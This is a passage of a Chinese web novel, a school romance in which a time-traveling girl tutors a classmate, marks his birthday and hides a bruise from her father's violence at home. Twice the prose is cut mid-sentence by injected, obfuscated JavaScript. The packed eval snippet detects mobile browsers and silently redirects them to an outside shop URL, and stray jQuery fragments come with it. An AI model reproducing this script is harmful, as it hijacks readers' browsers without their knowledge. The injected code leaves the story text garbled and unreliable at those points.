林康深吸了一口气，艰难开口：“我、我误以为叶舒同学喜欢易川，让一些人误会了，给你造成了伤害，对不起。” 须臾，静谧的教室里传出哗然声，似是没想到平日看着正气的林康竟会做这种事。 “林康竟然偷看叶舒日记本......” “叶舒和易川......叶舒喜欢易川？” “我感觉两人挺正常啊，难不成男女同桌都互相喜欢啊？” “......” 混乱中，林康的表情更为难堪，只是低着头，不敢迎着众人的视线。 叶舒自然没有气消，但她对林康的惩罚也够了，不想让场面太难看。 叶舒开口：“你还应该向易川道歉。” 易川没想到话题竟突然到了自己身上，身形一顿。 他似是对这件事毫不在意，眼神压根都没落在林康身上，闻言也只是有些讶异地看向叶舒。 林康的面具几近掉落，忍着气弯了弯身，对易川喊道：“对不起！” “......” 易川没吭声，只是眼皮耷拉着看着自己的桌面。 也不知他是故意的还是没想好。 场面一时陷入尴尬。 过了片刻，约莫是受不住班里同学的注目，易川才慢条斯理地微微颔首。 叶舒哑然失笑，果然还是不可一世的人最知道如何让人更生气。 现在这情况已经达到了叶舒的目的。 她将事情闹得如此之大，大概一时之间也不会有人再怀疑她与易川的关系。 而易川，自然也不会再认为她对他有什么非分之想。 这样过去的那一幕，就不会发生了吧。 …… 班长看局面太焦灼，刚想站出来缓和局面，恰巧班主任何肃文走了进来。 教室变得鸦雀无声。 叶舒倒是没想到班主任会突然出现，毕竟平常这么晚了他早就下班了。 如今这样已经足够，她不想把老师牵扯进来，无非会让场面更糟糕。 林康这种事，叶舒不过也只是要个道歉，但何老师—— 以叶舒对他的了解，应该是不会轻易放过林康的。不过何老师经验老道，应该会妥善处理好这事，不会让两人关系更难看。 林康腿软了几分，有些无地自容，不敢看着老师。 何肃文沉默了一会儿，缓缓走向讲台，视线在林康和叶舒两人之间来回试探。 他眼神带着不怒自威地压迫感，一时间，教室里只剩下他的脚步声和窗口外偶尔呼啸而过的车流声。 半晌，他才缓缓开口。 “刚刚的话我都听到了，大概了解了这个事。既然林康当着全班同学的面承认了自己的错误……” 何老师的话顿了顿。 所有人屏息等着他的下文。 何肃文清了清嗓子，厉声郑重道：“也希望所有同学引以为戒，不要无中生有、道听途说。要知道流言会害人，把心思放在学习上，不要关注同学们隐私。” 不愧是班主任，既没有替林康说话的意思又给他留了点面子，还把话头引导教育上，也挺好的。 …… 晚修还剩下最后一点时间，何肃文把林康叫出去谈话。 系统称赞道：【你们这个老师还挺会端水的，我以为他会可怜那男生呢，毕竟他平常成绩好又会装乖。】 紧接着，系统又提醒叶舒：【你下次还是把自己东西放好，以免出事。任务系统这个世界观是不能让系统里的角色知道的。】 叶舒一时大意，也没想到真会给有心之人看了去。 她自认倒霉，默默听话应下。 22. 真巧啊 期中考后，按照班主任的要求，全班重新调整了座位。 叶舒没有选择让系统“暗箱操作”，而是顺其自然。 叶舒与易川不再是同桌，她的新同桌是一个男生——钟时泽。 高中的时候，叶舒也与他同桌过。 钟时泽为人随和，两人相处融洽，交谈甚欢，分班以后也保持着一定的联系。 甚至，在她最低谷的时候，钟时泽还安慰过叶舒，并表示他相信她不喜欢易川，传闻都是讹传。 那时，钟时泽话语坚定，她听后哑然失笑，向他道了声谢谢。 但，她确实喜欢易川。 只是从那件事后，变成了过去式。 ...... 换同桌后，冬天也越来越临近。冷风呼啸，气温逐渐下降，天色也暗得越来越早，不同颜色的外套开始出现在清一色的校服堆里。 大概是期中考后琐事特别多，每天与易川周旋也耗费精力，叶舒现在才发觉。 原来已经冬天了。 她穿越过来已经有一月有余。 黄昏时分。 日落西山，天色交融。 叶舒趴在栏杆上，望着远处的太阳逐渐西沉。 才过了不到两月，却仿佛过了好久。 前段时间，和系统沟通过，怎样才算是攻略成功。 系统说，最差的情况，易川也得考上静海大学。 静海大学虽说并不是名牌大学，但在省里也有一定名气，也是静海市数一数二的大学。 以原世界易川的成绩，压根就碰不到静海大学。 叶舒也不知道他最终去了哪所学校。 她早就与他断了联系，周围人中也没再听说过易川的近况。 对于叶舒而言，易川就像人间蒸发了一般。 只是那污痕，始终留在心里，一时间被年长的各种琐事掩埋。 直至穿越，再把这污痕翻了出来，却发现，创伤一直都在，难以忘怀。 …… 换了座位后，与易川的交集不如同桌时多，但叶舒和易川之间还被班主任的制度规矩牵系着，易川必得找她完成任务。 这段时间，他不如初时那般反骨了，给她省了不少心。 正出神时，肩膀被人拍了拍，叶舒转头却没发现人影。 她转头看向另一边时，眼前才出现了易川的身影。 他一身清爽，明显刚洗完澡，身上还带着沐浴露的清香，暖色光线照在他脸侧，平日里看起来微冷的眉眼如今都显得有些柔和。 叶舒怔了怔，反应过来后才说： “......幼稚。” 易川没应声，只是偏头翘了翘唇角。 随后，两人便并肩走回教室。 黄昏的光斜斜地滩在地面上，两人的影子一高一低，竟意外得有些和谐相配。 叶舒回到自己的位子，易川跟着她，见她同桌的位子上没人，便直接坐到了她旁边——钟时泽的位子上。 叶舒错愕：“你……” “？” 易川偏头，抬眼看着她，表情坦然自若。 叶舒话到嘴边又咽了回去。 事出有因坐别人位子很正常。 只是她没想到易川就这么理直气壮地坐到了钟时泽位置，她有些不习惯。 转念一想，又觉得易川这人也做的出，她也就没在意了。 叶舒拿出今天的物理作业，随即指了一道题，示意易川给自己讲解题思路。 易川懒洋洋地扫了眼题目，眉头微微皱起，似是在认真思索。 半晌。 他张了张口，拖着长长的腔调：“啊，这题我一开始也没选对。” “......” 叶舒盯着他，易川也直勾勾地看着她，两人相视无话。 “没了？” “没了。” “......” 叶舒被他理直气壮的语气打败了，一时无语。她没办法，也只能耐下性子来一步步教。 两人的教学一直持续到钟时泽来了。 ...... 晚自习。 安静的教室后排，叶舒写着日记，惊觉已经十二月初了。 话说回来，易川生日要到了。 易川那冷淡的个性，拒人于千里之外，在班里可说话的人不多。而叶舒能知道他生日也是因为暗恋他，原世界旁敲侧击问他后才知晓的。 那时她问易川的时候，他的生日恰好才过去了半月。而他生日那天，易川似乎没和任何一人提起。 叶舒那时候才知道，连王朗和柯怿都不知道他的生日。 冬日的夜晚，廊外凉风阵阵，远处的月亮圆满明亮。 叶舒当时问他，怎么没和人说。 易川当时怎么回她的。 …… 他眼皮抬也没抬，抱臂倚着书柜，漫不经心道：“告诉别人有什么用？” 叶舒：“大家会给你庆祝，说生日快乐，沾沾喜气。” 大概是觉得她话语太过幼稚天真，易川嗤笑出声，满不在乎的模样。 “没必要。” 他冷淡的话语让叶舒也不知如何应话，场面一度陷入尴尬。 随后，他漫不经心地抬眼，望着夜空中那轮明月。 月光柔和，落在他微冷的眉眼处。 叶舒看着他的侧脸，却觉得刚刚的他更像在遮掩。 遮掩他真实的自己。 ...... 叶舒陷入回忆晃了神，窗外的冷风飘进来，她瑟缩了一阵，打了个不小的喷嚏。 她连忙抽了张纸，掩住口鼻。 缓了一会儿后，她抬眼，对上一道目光——易川的。 他浅浅勾了勾唇，笑容轻佻，表情明显是在打趣她的喷嚏。 叶舒：...... 她默默斜了他一眼。 这时，钟时泽也在旁边取笑她，叶舒也抽空转过身白了钟时泽一眼：“有什么好笑的。” “你打喷嚏确实挺好笑的。” “你......” 两人便这么小声地互怼了几句。 待叶舒再回头时，易川已收回了眼神，抱臂看着桌上的书，脸上又恢复了平常面无表情的模样。 - 晚自习课间。 叶舒挽着江菱准备离开教室，结果刚出教室便被堵在走廊。 “这个题，我不会。” 易川把作业册递给她，下巴微微扬起，颇有她不给他讲就别想离开的气势。 叶舒微微探头：“今天不是讲过题了吗？” 易川眼皮也没抬：“有疑问就要提出，不是你说的，我有问题都可以问你吗？” “......” 叶舒被他一副理所当然的气势噎住。 见易川难得这么积极，叶舒无奈只能应承：“行，但我现在要先去上个厕所。” 闻言，易川这才收回作业，侧了侧身子，让两人离开。 远离易川后，江菱才开始忿忿吐槽起来：“什么态度！这是问人问题的态度吗？又没求着他来问。” 她转而佩服起叶舒：“这人你都能受得了，苦了你了。” 叶舒无奈地干笑了声：“他人就这样，我已经习惯了。” 江菱的表情忽然变得一脸担忧，郑重其事地对叶舒说：“你别习惯着习惯着对他产生好感了。” 叶舒微微一愣，随即扑哧一笑：“我喜欢他？！” “我怕你和他相处久了，产生感情。”江菱还是放不下心来，像长辈一般苦口婆心道，“他脸也就那样吧，但脾气真是臭啊，你这么优秀，咱不必稀罕这种货色好吧。” 叶舒被她认真的模样弄得无言又想笑：“你想多了，暂时不想这些事。” 江菱见叶舒模样认真，也就放下了心。 两人上完厕所，回程的路上，遇见了钟时泽，便浅聊了几句。 钟时泽拿着包薯片，递给两人：“你们吃不吃薯片？” 江菱：“哇，谢谢！” 叶舒“指责”道：“和我同桌时不见你分享出来，你故意的？” 钟时泽：“主要是怕你给我吃完了。” “叶舒。” 叶舒正想回怼钟时泽，便听见有人喊自己的名字。 她向声源处望去，便看见易川正远远地站在教室门口看着自己。 夜晚的走廊光线昏暗，教室内散发的光明亮，落在他的右半边脸上。 一明一暗光线下，易川面上的表情看不真切，只见他下颌线条紧缩，眸色漆黑阴沉，隐约感觉他有些不快。 见状，叶舒云里雾里，给钟时泽和江菱使了个先行离开的眼色后，走到易川面前。 走近后，易川身上散发着的不妙的气息更甚。 叶舒斟酌着开口：“你，咋了？” 易川开口，语气讽刺：“这才一会儿，你就忘记有人在等你吗？” “知道。” “知道你还慢吞吞的，等会课间都过了。”易川毫不客气，语气不悦道。 叶舒知道他脾气怪异，懒得和他争论，就当被狗汪了几声，默默受下。 易川没再说话，拉着她的外套袖子将她拉到自己前头，随后扬了扬下巴，示意她快进教室。 “等等，慢点。”叶舒停下脚步，理了理自己的袖子，“衣服都被你扯大了，也没过多久——” 嘟囔间对上了易川回头的死亡凝视，叶舒这才噤声，扯了个极为僵硬的谄媚笑容。 - 周六下午。 冬日气息渐浓，道路两旁的数木明显没有夏日那般郁郁葱葱了，甚至有些光秃秃的，寒风乍起，地面的落叶飘旋，后又落至叶舒脚边。 叶舒停下脚步，随后避开了这些树叶。 在家没心思学习，叶舒便独自挎着包到图书馆，如今学累了，便打算到附近商城休息会。 进了商城大门后，兜里的手机震了震，叶舒掏出手机，王朗的信息便弹了出来。 王朗：【好姐姐，明天能不能借我抄数学试卷啊，我的试卷忘在学校了。】 “......” 叶舒无语地看着这则信息。 说王朗要脸吧，他又明目张胆地找她要；说他不要脸吧，他还特地发信息来问她可以不可以。 叶舒敲了敲键盘，回复他。 【有什么好处？】 王朗：【我现在在商城，要不给你买个礼物？也算是答谢你一直以来给我抄作业。】 说着便发了一个定位和一张琳琅满目货架的图片。 叶舒漫不经心地扫了一眼他发的定位，随后僵住。 不是吧......那么巧。 叶舒现在就在王朗所定位的商城。 她抬头，眼前便是那家礼品店。 叶舒这才记起，王朗和她住一个市区，这个商城是附近最出名的，他来也正常。 她立刻停下脚步，转身逃离，结果下一秒，身后就传来熟悉的声音。 “叶舒？” 听见声音，叶舒身形一顿，无奈地闭了闭眼。 她转过身，看清面前的人时怔住了。 没想到是易川。 他没穿校服，外套是一件深灰色立领夹克，内里是一件黑色的打底，平日在学校都见他穿校服，即使是在过往碎片里，叶舒都还未曾见过易川穿常服的模样。 少见他这样，倒是没了平日的疏离感，多了些张扬之意。 见叶舒愣神，易川适才眼中的惊讶消散了不少，上下扫视她一眼，而后慢条斯理道： “我还以为看错了，原来真是你。” 叶舒局促地抚了抚脸边的头发，尴尬道：“没想到、这么巧啊。” 易川上下打量着她，眼里闪过一丝玩味。 叶舒：“你看什么？” 易川收回打量的眼神，直勾勾地看着她：“你这身——” 他拖长尾音，故意卖关子。 “还挺特别的。” 叶舒微怔，没想到有朝一日竟能听见易川这般夸人。她顺着他的目光，看了看今日的穿搭。 她今天穿的浅蓝色连帽外套和直筒裤，没有扎头发，头发随意地披在两边，整个人稍显素净。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627981|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 倒也没什么特别的。 “像睡衣。” 易川补充道，语气淡然，像是真的在认真评价一样。 叶舒：……我就知道。 “关你屁事。”叶舒冷笑了声。就知道他没安什么好心，原来是在这等着她。 玩笑过后，两人之间又陷入一种微妙的尴尬。 易川看了叶舒半晌，懒洋洋地开口打破沉默：“你尴尬啊。” 叶舒被戳穿心事，皮笑肉不笑地扯了扯嘴角：“是有点。” 眼前的人轻笑了一声，“在学校不是挺高冷的，怎么在外面就蔫了？” “......” 叶舒不想回应他这么无聊的调侃，想找借口离开。 易川突然道：“王朗也在，还有柯怿。” 叶舒微微一愣，没太懂他这话是何意。 易川朝身后那家店使了个眼色，大概是想表示那些人在里面。 【留下留下留下！】 耳边又响起系统的念叨，百般劝她快留下，和易川多亲近会。 最终，叶舒还是不太情愿地留下了。 …… 王朗和柯怿见到叶舒也很惊讶，并热情地邀她一起玩。 叶舒无奈，便留下在店里胡乱逛逛。 易川隔着一段距离抄着兜跟在她身后，漫不经心地，视线不曾落在两旁的展示架，一点也不像在逛街。 像是散步。 叶舒惦念着系统说的话，主动打破尴尬。 “这有你感兴趣的吗？” 见她与他搭话，易川偏头，扫了扫周围货架上的东西，然后肯定地回了一个答案： “没有。” “那你在这逛什么？” 闻言，易川耸了耸肩，“他们硬要来，我就出去了，刚巧就遇上你了。” 难怪刚才在外面见到他。 “那你现在进来干什么？” “......” 易川没说话，目光移开，落在身旁的展示架上。 “这个本子还挺好看的。” 他突然这么说。 叶舒转头，循着他的视线看过去，发现展示台上立着一本精美的皮质活页日程本。 叶舒认出那是一个英国牌子的日记本，大部分产品为牛皮材质制作。 这家店识货啊。 易川：“你不是写日记吗，会喜欢这样的吧？” 没想到他突然提及自己的喜好，叶舒愣了愣，脑子有一瞬的空白。 过去的片段也因为他这一不同忽至脑海。 那时叶舒也会写日记，结果还被易川取笑。 “日记？”那时的易川有些鄙夷地扫了她一眼，“这种小学生都不干的事了，没想到你会干。” 叶舒那时只觉得他性格本如此，加之喜欢他，便没多说什么。 ...... 叶舒盯了一会儿那个本子，才说：“是挺好看的，不过我暂时不缺本子。” 说完，她便去和王朗等人汇合。 易川淡淡地噢了一声，随后跟上她。 一众人离开了礼品店，找了个奶茶店坐下。 王朗邀请叶舒道：“我们今晚要一起吃饭，你要不要一起？” 叶舒摆了摆手，连忙推脱：“不了，我要回去和爸妈吃饭。” 几人推拉了几回，易川一直没说话。 最终，在叶舒的百般推脱下，男生们不再强求。 奶茶店人多，四人只能挤着一张小桌子聊天。 凑巧的是，叶舒和易川坐在一边。 她和易川完全是身子贴着身子而坐，两个人的外套相贴摩擦，手也时不时碰撞到一起。 叶舒有些不自在，缩了缩身子。 这时，易川找她搭话：“你怎么一个人来这？” 叶舒：“我家就在这附近，早上去图书馆学习，下午来这坐会。” 王朗称赞道：“不愧是好学生，所以数学借我抄抄吧。” 叶舒：“......” 易川忽然又问她：“你家在附近？” “......对。” 叶舒有些无语，明明她才说过。 “那挺方便的。” 易川回了句，像是没话找话。 王朗在一旁附和：“我之前不是说过叶舒和我一个区的吗，忘记了啊？” 易川：“......” 易川没理他，略微有些嫌弃地避开他的视线，手指轻敲桌沿。 叶舒看了看手机的时间，借口说：“要到饭点了，我要走了。” 她起身，身边的易川也起身。 “你……？” 叶舒疑惑地看着独自起身的易川。 气氛倏然陷入一种诡异的沉默。 三人看着他，而易川表情没有任何变化，倒显得看着他的众人煞有介事。 易川悠悠道：“现在天色也暗下来了，我们送你也安全点。” 他低头，看着王朗，一字一顿道：“是吧，王朗。” 王朗愣了愣，然后很快站起，呵呵一笑：“确实，天色晚了，你女孩子不安全。” “没事，”叶舒不想与他们多呆，摆了摆手，“我经常走这路的，不会不安全。” ...... “谢谢你们送我回来。” 叶舒到达小区门口后，对易川和王朗薯道谢。 “嗨，这么客气干嘛，怪生分的。”王朗呵呵一笑，调侃她道。 两人说话间，易川没吭声，只是望着叶舒的小区大门看。 “那我先走了。”叶舒挥了挥手告别。 闻言，易川这才将目光移回叶舒身上，轻声说了句：“拜拜。” 直至看见叶舒的身影消失在远处，两名男生的身子才动了动。 易川转过身离开。 王朗忙跟上他的脚步，开玩笑地说：“终于有情商一回，还会送人回家了！” 易川轻瞥了他一眼，神色如常，毫无变化，然后收回了目光，从头到尾没说过一句话，只顾着走路。 王朗微愣，看不明白他的反应。 23. 这玩笑一点也不好笑 叶舒前脚刚回到家，后脚父亲也开门回来了。 叶舒叫了声爸后便打算回房间，然而却被父亲叫住。 “叶舒，你过来，坐下，我有话和你说。” 父亲一脸阴沉，叶舒隐隐有些不好的预感，但也没法忤逆，坐到了隔了父亲一些距离的位置。 母亲听见动静，也出来了，站在不远处观望两人。 父亲点了一支烟，烟雾缭绕起，叶舒闻到呛人的烟草味皱着眉咳了咳，不过男人并没有因为她的咳嗽而停止。 他将烟头放在烟灰缸上，没有掐灭，任由烟头起着淡淡的烟雾。 随后，他才缓缓开口：“刚刚在小区门口，那两位男生是谁？” 叶舒抬头，看着男人阴沉着的脸，这才知道原来他是误会了。 她轻笑，对男人莫名其妙的怀疑和兴师问罪的举动无语。 “同班同学，今天在商场遇见了，他们就送我回来了。”叶舒如实说道。 男人吸了口烟，语重心长道：“女孩子还是不要这么晚才回来，而且还是和男生们一起玩。” 叶舒对着话感到不悦，直言道：“我今天去图书馆学了一天才回来，而且我都说了是偶遇，你要是怀疑我谈恋爱我也不能和两个人谈吧？” “我只是问问你，你这是什么态度？”男人语气不悦起来，看着她的眼神带着厉色，“你这个年纪，该做什么不该做什么你应该知道，难道你要和男生鬼混吗？” “我鬼混？我什么也没干，偶遇了两个男同学就叫鬼混了吗？” 男人大概不愿再与她掰扯，侧头冷声道：“总之，你这个年纪就要做这个年纪该做的事情。学习可以，但少与异性来往，特别这么晚了。” 叶舒气笑了：“都说了是偶遇，你怎么就是听不明白呢？从小到大，我都本本分分的，也没有要好的男性同学。然而，今天你突然看见人家和我挥了挥手你就误会了，难道不是你小题大做吗？而且我成绩好得很，你了解过吗？你知道吗？你只是看见我和男性说了句话你就认为我变坏，你了解来龙去脉了吗？” 叶舒越说越激动，似乎还不够，要把所受的所有委屈都一并说出。 大概从没见过叶舒这般叛逆模样，男人一时间也懵了。半晌才反应过来，扬言要教训叶舒。 叶舒母亲立马挡下她身前，替叶舒说话：“你干什么！人家跟你解释你也不听，你要干什么！” 叶舒惧怕男人对母亲做什么，也挣扎着挡在母亲面前。 “这就是你教出来的好女儿！一致对外是吧！今天若不教训你，以后还得成什么样！”男人凶相毕露，面目狰狞地朝两人冲过来。 虽然这样的表情，叶舒曾经已见过无数次，她也已经长成了成熟的大人，可是再看到男人这幅模样和这混乱的场景时，眼眶还是情不自禁地红了。 母亲死死地抵挡在两人面前，男人无数的拳掌落在女人身上。 “住手！住手！”叶舒尖叫嚷道，拼死拉开两人，为母亲挡下伤害。 些许拳掌落在她的头顶，三人推搡间，叶舒也不知撞到了哪里，额角突突地疼，但她不敢松手，只能用力地推开力大无穷的男人。 好不容易推开男人后，叶舒想到什么，连忙爬起向外跑。 身后还有响动，可她来不及停下，只能不住地向外跑，然后敲击邻居家的门。 邻居家的门开得很快，然后，男女主人打开门后便看见隔壁的小女孩泪流满面地站在他们门前，着急到有些哽咽着说。 “我爸……又吵架了……” …… 最后，在邻居家的劝诫中，叶舒家庭又恢复了原来的模样——家中笼罩着一派胶着冷寂的氛围。 如以前一样，仿若刚才的争吵从未发生一般。 但还是有些不同的，气氛更为冰冷了。 不过，等她去完学校回来，大概又会变回之前的模样， 母亲躺在床上，叶舒陪在她身边听她念叨。 叶舒知道自家的情况，所以也不开口劝告母亲了，因为母亲没办法离婚，那么她也无法摆脱这一切。 成年人的世界太复杂，总是有万般无奈，就像有各种各样的丝线将成年人的一切事物联系起来，纷纷缠绕，直到当事人察觉之时，这才惊觉丝线早已乱成一团，无法解开，盘绕在自身周围，作茧自缚。 所以她不劝了，只能放弃。 除了无力感之外，她什么都做不了，只能任由着这段噩梦，再在自己眼前重现一遍。 凌晨。 窗外的寒风声打着窗棂发出声响，叶舒紧了紧被子，向被窝深处缩了缩。 都说冬日过后春天会来，今天过后明日又是崭新的一天。 人人都想拥有上帝视角，如今叶舒拥有了，却想自己还不如什么都不知道。 - 周日下午，静海高中。 叶舒早早来了学校补作业。 没过多久，易川也来了，比平日约定的时间早到了半小时，倒让叶舒有些惊讶。 趁着还未晚修，叶舒争分夺秒地给他讲解作业和错题。 “我发现你们每周都在一起讲题，现在不是同桌了还一起讲。”杨乐铉经过时，打趣的眼神在两人的脸上徘徊。 随后他还颇为挑衅地调侃易川：“易川，你这是请私教了？那你可得好好加油啊。” 对这种打趣叶舒早已疲倦，抬眼瞪着杨乐铉想让他闭嘴。 “叶舒，你咋这个表情，生气了啊？”杨乐铉似是毫未察觉她的不对劲，一味地还在开玩笑。 叶舒收回视线，语气颇为冷漠地说：“知道你还不滚。” 杨乐铉愣了一瞬，继而又笑了笑：“真生气啦？好了我不说了，开个玩笑而已，别当真。” 大概是平日里叶舒总是这副表情，杨乐铉还以为她没生气，刚刚的冷言冷语只是她性格使然。 叶舒没理他，也没什么反应。 “杨乐铉。” 一直未吭声的易川突然喊了声杨乐铉的名字。 “你知道上次调侃我们俩的人下场是什么样吗？”他姿态闲散，挑眉看着杨乐铉，手中的笔在他手上转了又转。 杨乐铉见易川这副模样，噤了声。 平日里的易川虽看起来难以相处，但也只是性子冷淡，实际并不容易动怒。 易川微微一笑，笑容不善：“你不想也当着全班人的面检讨的话，就不要说这个并不好笑的玩笑。” 见状，杨乐铉干笑，找补道：“我就是开个玩笑，不好意思呵呵......” 叶舒余光注意到易川的表情。 他的眼神透露着不快。 明显不想自己与她被人扯上这样关系。 叶舒第一反应是庆幸，但莫名地，又返上来些许难过。 即使相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644087|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个多月，她还是打动不了这人。 仅是被人开玩笑都那么生气，看来易川还是没把她当作正常朋友看待。若她不防范的话，过不了多久原世界他当众拒绝自己的事会不会又发生？ 不过，往好的方面想，他现在能在学业上配合自己便已经很好了。 从情绪中抽离，叶舒从作业里抬起头，对杨乐铉莞尔一笑：“原来是开玩笑啊，我以为你也想找我‘私教’。” 杨乐铉脸色立刻变得青白相间，他还想回怼些难听的话，但见易川和叶舒脸色皆黑，他只能讪讪离席。 “成绩好了不起啊，也就易川那吊车尾需要，我怎么会需要......” 他离开时嘟囔着，因为现下教室人不多，他这句吐槽轻而易举的传到了叶舒和易川的耳朵里。 这句贬低，激起叶舒在回忆碎片中的经历。 那时，易川的父母也说过类似的话语，类似的、看似无心却实则贬低的话语。 ——“没易轩低不就行了，不求都像易铭那样，难道你还想有个易轩那样的啊？” ——“算了，这时候跟不上也是正常，也不是所有人都能像你易铭哥一样成绩好的。” ——“你要补习？你，成绩不是一般吗，现在补习还有用吗？” ——“我们知道你成绩一般，但我们从来也不求你有什么大作为。” ——“成绩差没事，我们也没对你有很大目标。” ...... 这些贬低的话语，就如同骆驼上的稻草，一步一步造成易川变成如今这般模样。 若是因为杨乐铉这种人的玩笑话而使得易川性子变得更为阴暗，可得不偿失。 念及此，叶舒连忙回过头去看易川的反应。 哪知，她一回头便对上易川直勾勾的盯着自己的目光。 他并没有她预想中的阴沉、不满或是难受，只是静静地看着自己的脸。 “你——” 叶舒话还没说完，眼前的男生便伸出了手动了动她侧边的碎发。 修长的手指拂过她的碎发，指尖触及她的额头所带来的温热沿着皮肤开始流淌，平白地，冬日也起了一阵暖意，叶舒脸颊微微发热。 她愣住，眨了眨眼后立刻退了一步身子，“你、你在干嘛？” 相比起叶舒的窘然，易川显得尤为镇定，甚至疑惑她浮夸的动作。 他微微皱眉，指了指她的额角说：“你这，怎么回事？” “？” 叶舒疑惑，拿出了小镜子，撩起额发。 碎发之下，竟有一处小小的泛紫的印记在额角。 叶舒微怔，随后眼神黯了黯，不知如何向易川解释。 “怎么弄的？”他问，“你不会连这也不知道哪磕到的吧？” “......” 叶舒抿了抿唇，下意识地摇了摇头。 “摇头是什么意思？”他疑惑道，“周六看到你的时候还没有。” 他语气难得有些关切，可叶舒无法如实相告，随口找了个借口：“好像是起床时候磕这了。” “好像？”易川挑了挑眉，狐疑地看着她，很明显不太相信她这话，“撞成这样，一点感觉也没有？” 叶舒放下镜子，理了理头发，淡定说道：“没有注意。” 易川见叶舒明显不想继续话题，便就此作罢，重新把注意力放到作业上。 24. 发烧 一轮弯月挂在静谧的夜空上，教学楼灯火通明，人影憧憧，聊天声充溢，好不热闹。 夜晚，课间。 走廊昏暗的光线下，几名学生挤在一块谈天，叶舒也在其中。 柯怿站在叶舒身侧，清冷的月光照在叶舒的脸上，平添几分冷清的气质，他忽然向叶舒开了口： “你知道吗？易川今天在宿舍突然说‘原来前几天是他生日’。” 叶舒微微一愣，没想到柯怿会突然提起易川。 “是吗？”夜晚风大，叶舒将飘扬的碎发理到耳后，微微点了点头，“他生日确实是前几天。” 柯怿微微惊讶，额前的刘海微动，露出额角。 “你知道？” 叶舒莞尔：“以前和他同桌的时候听他说过。” 不过不是这个时空的以前，是还未穿越的更早以前。 似是没想到易川会和叶舒提及自己的生日，柯怿表现得很是惊讶。 易川待人疏离，也就只有柯怿和王朗近水楼台与他关系好点，其他人对他的印象只是成绩不好的有钱子弟，其余一概知之甚少。 柯怿继续讲述：“他说的时候我们都吓到了，然后看我们惊讶的样子，他说他自己也忘了，感觉他好像不是很在意自己的生日。” 他无奈地笑了笑，不知是对自己还是对易川。 叶舒唇瓣翕动，不知说什么。 柯怿表情有些歉疚地说：“其实，不知道为什么，我感觉以易川的性子，若是真不在意，大概就不会说出来了......” 柯怿的性格有着男生中少有的细腻，他会这样说，大概也是发现了易川的不同。 也就是说，易川很可能是在意的。 叶舒沉吟了片刻，问：“那你们回了什么？” 柯怿不好意思地挠了挠头，“事发突然，我们也不知道说什么，就对他说生日快乐。” 叶舒想象了一下那个场面，一定很尴尬。 也不知道易川是怎么想的，以叶舒对他在过往碎片里的印象—— 他或许，会有点失落吧。 “所以，我在想要不要送他点什么，但我不知道送什么，你能不能给我出个主意？”柯怿一脸认真，大概真的很想弥补。 叶舒宽慰地笑了笑，“若是你想快点送他，可以请他吃顿饭或者奶茶。” 柯怿陷入思考，纠结地开口：“这行吗？会不会太随意了？” “都是小孩子还要送多贵重的，礼轻情意重。”叶舒安慰他道，“若你想好好准备，那只能等周末回家了。” 柯怿微微抿唇点了点头，算是认可她的话。 正巧晚修的上课铃声响起，叶舒转身准备进入教室，却被柯怿的问题叫住。 “那他生日你要送什么吗？” 叶舒回头，柯怿正神情复杂地看向她。 像在邀请她一起，又怕她拒绝他。 叶舒缓缓开口：“我已经送了。” 柯怿错愕，似是没想到她竟然已经送了易川礼物，毕竟刚刚的对话叶舒确实未透露半分。 柯怿呆呆地看着她问：“你送的什么？” “......”叶舒犹豫了一下，才道，“贺卡而已。” 她骗了柯怿。 不止有贺卡。 其实周末那时去商城，叶舒正是想去买个礼物送他，结果意外地遇上了几位男生，仓皇之间，她便忘了这件事。 后面匆匆去专门的眼镜店定了新的眼镜框，她依稀记得原世界这时易川的眼睛度数，配了一副新的眼镜。 易川生日那天，叶舒将贺卡与眼镜默默放在他桌上后，便离开了。 怕他误会，叶舒贺卡也只草草写了一句“生日快乐”而已。 当晚晚修课间。 叶舒走出教室，在外面书柜拿书，拿完后关上书柜，忽然发现易川站在她身边。 教室内冷白的灯光打在他的侧脸上，银色镜框反着熠熠的光，眼镜挂在鼻梁上，衬得他五官更为立体，眉骨突出，眼睛深邃。 当时叶舒是要上学前去挑选的，时间紧迫，只是合眼缘地选了这幅，没想到，误打误撞，竟很适合易川。 剑眉星目，镜片下的眼眸泛着光，明明只是普通的注视，在灯光映衬下眼神也莫名变了意味。 叶舒被他看得疑惑：“怎么了？” 易川弯唇，不同于往日笑得随意，这次他的笑容倒透露着几分真切。 “谢谢。” “你是今天唯一一个祝我生日快乐的人。” …… 柯怿听了叶舒的回答后说：“那挺好的，这样他也不会太难受……” 铃声接近尾声，叶舒已走进教室，柯怿也不知道他的这句话她是否听到。 - 冬日的天气总是捉摸不透，这周气温徒然骤降，太阳也鲜少出现，天色灰白黯然，阴风阵阵，吹在人脸上生疼。 女生宿舍。 叶舒从热气腾腾的浴室里出来便与迎面吹来的冷空气打了个照面，冷气蓦然钻入口鼻，一股冷冽的寒意传遍全身，她重重打了个喷嚏。 陆雯在阳台晾衣服，关心道：“你穿那么少？快多穿件吧，外面好冷。” 叶舒拿起衣物便急忙钻着进入温暖的室内。 还不到六点，天色已经全然暗下，夜幕泛着藏青色，寒风刺骨，透过落地窗吹进房间，即使穿上了厚衣服，叶舒还是打了个寒战。 事情是在晚修时变严重的。 晚自习时，叶舒如往常一样认真地写着作业，逐渐地，眼前的作业却越来越模糊，脑袋也越来越重。她放下笔，静坐了半晌头脑深处缓缓上升的热意也没得到好转。 